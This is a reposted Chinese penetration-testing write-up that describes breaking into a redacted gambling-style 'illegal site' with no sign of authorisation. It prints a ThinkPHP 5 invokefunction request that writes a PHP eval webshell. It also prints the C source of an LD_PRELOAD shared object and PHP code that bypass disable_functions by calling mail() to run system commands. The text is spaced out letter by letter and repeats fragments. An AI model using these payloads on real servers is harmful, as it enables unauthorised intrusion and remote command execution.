搜索

[7628] 2021-07-03_实战记一次非法站点的艰难渗透

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-17
2021-07-03_实战记一次非法站点的艰难渗透 实 战   |   记 一 次 非 法 站 点 的 艰 难 渗 透 原 创   M 7 8 S e c _ 伊 电 童   F 1 2 s e c   2 0 2 1 - 0 7 - 0 3 这 是 这 是 F 1 2 s e c 的 第 的 第 6 1 篇 原 创 篇 原 创   申 明 申 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ p s ： 本 文 章 投 稿 来 自 M 7 8 安 全 团 队 的 花 童 师 傅 。 花 童 y y d s ！ ！ ！ 1 . 前 言 前 言 首 先 要 感 谢 m u c n 巨 佬 提 供 的 鼎 力 相 助 目 标 站 ： w w w . x x x x . x x x x 2 . 漏 洞 实 例 漏 洞 实 例 这 里 注 入 什 么 的 就 不 用 说 了 ， 没 什 么 用 ， 我 也 不 发 那 种 拖 沓 的 过 程 截 图 了 随 手 一 个 a d m i n 出 现 后 台   （ 和 若 依 真 像 ） 账 号 密 码 a d m i n / 1 2 3 4   进 去 后   基 本 没 有 什 么 功 能 发 现 没 什 么 用 不 过 暴 露 了 一 个 信 息   t p 建 的
t p   直 接 拿 一 波 e x p 打 一 下   不 就 完 了   （ 感 觉 太 顺 利 了 就 有 鬼 ） 然 后 命 令 执 行   好 家 伙   I P 无 了 看 来 需 要 手 动 一 波   这 里 推 荐 下 m u c n 哥 哥 的 分 享 h t t p s : / / g i t h u b . c o m / m u l c l / S _ m u c n / b l o b / m a i n / R C E / T h i n k p h p 5 _ R C E . m d 这 里 首 先 测 试 一 波 p h p i n f o 好 的 没 什 么 问 题 写 一 波 马 写 入 正 常 （ 不 可 能 这 么 顺 利 吧 ） 顺 手 看 看 是 否 禁 用 了 一 些 函 数   我 努 力 保 持 微 笑   心 想 ( 蚁 剑 有 插 件   蚁 剑 有 插 件 ) ? s = / I n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = f i l e _ p u t _ c o n t e n t s & v a r s [ 1 ] [ ] = 1 3 6 . p h p & v a r s [ 1 ] [ 1 ] = < ? = e v a l ( $ _ R E Q U E S T [ H T ]
（ 注 ： 哥 斯 拉 和 冰 蝎 全 部 阵 亡   貌 似 就 普 通 一 句 话 还 能 打 ， 所 以 这 里 用 了 蚁 剑 ） 用 了 冰 蝎 后 出 现 两 者 都 是 一 样 的 效 果   如 下 ： 接 下 来 看 到 这 些 绿 框 框 我 就 《 放 心 》 了 ： 再 即 将 开 始 操 作 的 时 候 蚁 老 师 ？ 发 生 什 么 事 了 看 到 红 框 大 事 不 妙   返 回 w e b 页 面 刷 新 一 波   我 t m 又 无 了 完 蛋   这 里 触 及 到 知 识 盲 区 了   没 办 法   我 就 是 这 么 菜   要 去 请 教 一 下 巨 佬 了 通 过 m u c n 哥 哥 分 享 的 一 处 知 识 链 接   去 看 了 下 h t t p s : / / b l o g . c s d n . n e t / q q _ 4 1 1 0 7 2 9 5 / a r t i c l e / d e t a i l s / 9 8 4 6 2 8 9 1 ? i v k _ s a = 1 0 2 4 3 2 0 u 原 理 ： p h p 不 允 许 命 令 执 行 ， 但 p h p 可 以 通 过 L D _ P R E L O A D 这 个 东 西 调 用 s o 文 件 ， 然 后 可 以 通 过 m i l e 或 e r r o r _ l o g 函 数 触 发 执 行 s o 文 件 。 所 以 s o 文 件 里 可 以 写 一 些 命 令 执 行 的 内 容 ， 那 么 此 时 也 就 不 是 p h p 执 行 命 令 了 ， 而 是 s o 文 件 执 行 的 系 统 命 令 。 这 里 我 v p s 启 动 下 访 问
这 里 往 目 录 里 写 个 写 个 T X T 测 试 目 标 主 机 是 不 是 可 以 出 网 。 可 以 看 见 成 功 输 出 了 我 写 入 的 文 本 利 用 网 上 大 佬 写 的 动 态 调 用 c 脚 本 脚 本 如 下 ： 脚 本 如 下 ： # d e f i n e   _ G N U _ S O U R C E # i n c l u d e   < s t d l i b . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t r i n g . h > e x t e r n   c h a r * *   e n v i r o n ; _ _ a t t r i b u t e _ _   ( ( _ _ c o n s t r u c t o r _ _ ) )   v o i d   p r e l o a d   ( v o i d ) {     / /   g e t   c o m m a n d   l i n e   o p t i o n s   a n d   a r g       c o n s t   c h a r *   c m d l i n e   =   g e t e n v ( " E V I L _ C M D L I N E " ) ;     / /   u n s e t   e n v i r o n m e n t   v a r i a b l e   L D _ P R E L O A D .     / /   u n s e t e n v ( " L D _ P R E L O A D " )   n o   e f f e c t   o n   s o m e     / /   d i s t r i b u t i o n   ( e . g . ,   c e n t o s ) ,   I   n e e d   c r a f t y   t r i c k .       i n t   i ;       f o r   ( i   =   0 ;   e n v i r o n [ i ] ;   + + i )   {                       i f   ( s t r s t r ( e n v i r o n [ i ] ,   " L D _ P R E L O A D " ) )   {                                       e n v i r o n [ i ] [ 0 ]   =   ' 0 ' ;                       }       }     / /   e x e c u t i v e   c o m m a n d       s y s t e m ( c m d l i n e ) ; } 编 译 一 波 把 编 译 好 的 . s o 上 传 到 v p s 里 。 这 里 我 是 挂 了 代 理 复 活 后 直 接 又 用 一 次 操 作 机 会 将 s o 上 传 至 网 站 目 录 内 网 上 的 脚 本 ： 修 改 简 化 下 脚 本 直 接 用 在 一 句 话 木 马 上 ： # 表 示 执 行 的 命 令 表 示 执 行 的 命 令 # s o 文 件 接 收 到 执 行 命 令 执 行 后 输 出 到 这 个 文 件 里 （ 最 基 本 就 是 得 有 写 入 权 限 ， 如 果 没 有 可 能 还 得 修 改 文 件 接 收 到 执 行 命 令 执 行 后 输 出 到 这 个 文 件 里 （ 最 基 本 就 是 得 有 写 入 权 限 ， 如 果 没 有 可 能 还 得 修 改 c 源 码 ） 源 码 ） # 传 递 参 数 值 传 递 参 数 值 # s o 文 件 路 径 ， 一 定 要 对 文 件 路 径 ， 一 定 要 对 # 调 用 调 用 s o 文 件 文 件 < ? p h p $ c m d = $ _ G E T [ “ c m d ” ] ; $ o u t _ p a t h = $ _ G E T [ “ o u t p a t h ” ] ; $ e v i l _ c m d l i n e = $ c m d . ” > ” . $ o u t _ p a t h . ” 2 > & 1 ″ ; e c h o “ < p < b > c m d l i n e < / b > : ” . $ e v i l _ c m d l i n e . “ < / p > ” ; p u t e n v ( “ E V I L _ C M D L I N E = ” $ e v i l _ c m d l i n e ) ; $ s o _ p a t h = $ _ G E T [ “ s o p a t h ” ] ; p u t e n v ( “ L D _ P R E L O A D = ” . $ s o _ p a t h ) ; m a i l ( “ m e s s a g e ” , “ ” , “ ” , “ ” ) ; < ? p h p $ c m d   =   “ u n a m e   - a ” ; $ o u t _ p a t h   =   “ / t m p / b y ” ; $ e v i l _ c m d l i n e   =   $ c m d   .   ”   >   ”   .   $ o u t _ p a t h   .   ”   2 > % 2 6 1 ″ ; p u t e n v ( “ E V I L _ C M D L I N E = ” . $ e v i l _ c m d l i n e ) ; $ s o _ p a t h = “ / w w w / w w w / w w w r o o t / k e h u 2 1 / 0 3 / k h 3 3 0 _ c f v 4 / p u b l i c / H T 6 6 6 . s o ” ; p u t e n v ( “ L D _ P R E L O A D = ”   .   $ s o _ p a t h ) ;
# 通 过 通 过 m i l e 函 数 触 发 这 个 函 数 触 发 这 个 s o 文 件 并 且 执 行 文 件 并 且 执 行 e c h o   “ o u t p u t :   “ 最 后 把 这 些 函 数 给 写 成 一 行 也 就 可 以 直 接 网 页 执 行 了 。 P a y l a o d : 成 功 命 令 执 行 ： — — — — — — — — — — — — — — — — — — — — — — — — — — 往 期 精 彩 推 荐 往 期 精 彩 推 荐 实 战   |   记 一 次 基 本 的 e d u 漏 洞 挖 掘 经 验 分 享   |     文 件 上 传 个 人 b y p a s s 总 结 经 验 分 享   |   m s s q l 注 入 实 战 总 结 之 狠 快 准 绕 ❤ ❤ 爱 心 三 连 击 爱 心 三 连 击 1 . 关 注 公 众 号 「 「 F 1 2 s e c 」 」 ！ 2 . 本 文 已 收 录 在 F 1 2 s e c 官 方 网 站 ： h t t p : / / w w w . 0 d a y h a c k . n e t / 3 . 看 到 这 里 了 就 点 个 关 注 支 持 下 吧 ， 你 的 「 关 注 」 「 关 注 」 是 我 创 作 的 动 力 。 公 众 号 ： F 1 2 s e c Q Q 群 ： 8 8 4 3 3 8 0 4 7 官 方 网 站 ： h t t p : / / w w w . 0 d a y h a c k . n e t / 这 是 一 个 终 身 学 习 的 团 队 ， 他 们 在 坚 持 自 己 热 爱 的 事 情 ， 欢 迎 加 入 F 1 2 s e c ， 和 师 傅 们 一 起 开 心 的 挖 洞 ～                 关 注 和 转 发 是 莫 大 鼓 励 ❤ m a i l ( “ m e s s a g e ” ,   “ ” ,   “ ” ,   “ ” ) ; H T = $ c m d = “ w h o a m i ” ; $ o u t _ p a t h = “ / t m p / b y ” ; $ e v i l _ c m d l i n e = $ c m d . ” > ” . $ o u t _ p a t h . ” 2 > % 2 6 1 ″ ; p u t e n v ( “ E V I L _ C M D L I N E = ” . $ e v i l _ c m d l i n e ) ; $ s o _ p a t h = “ / w w w / w w w / w w w r o o t / k e h u 2 1 / ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理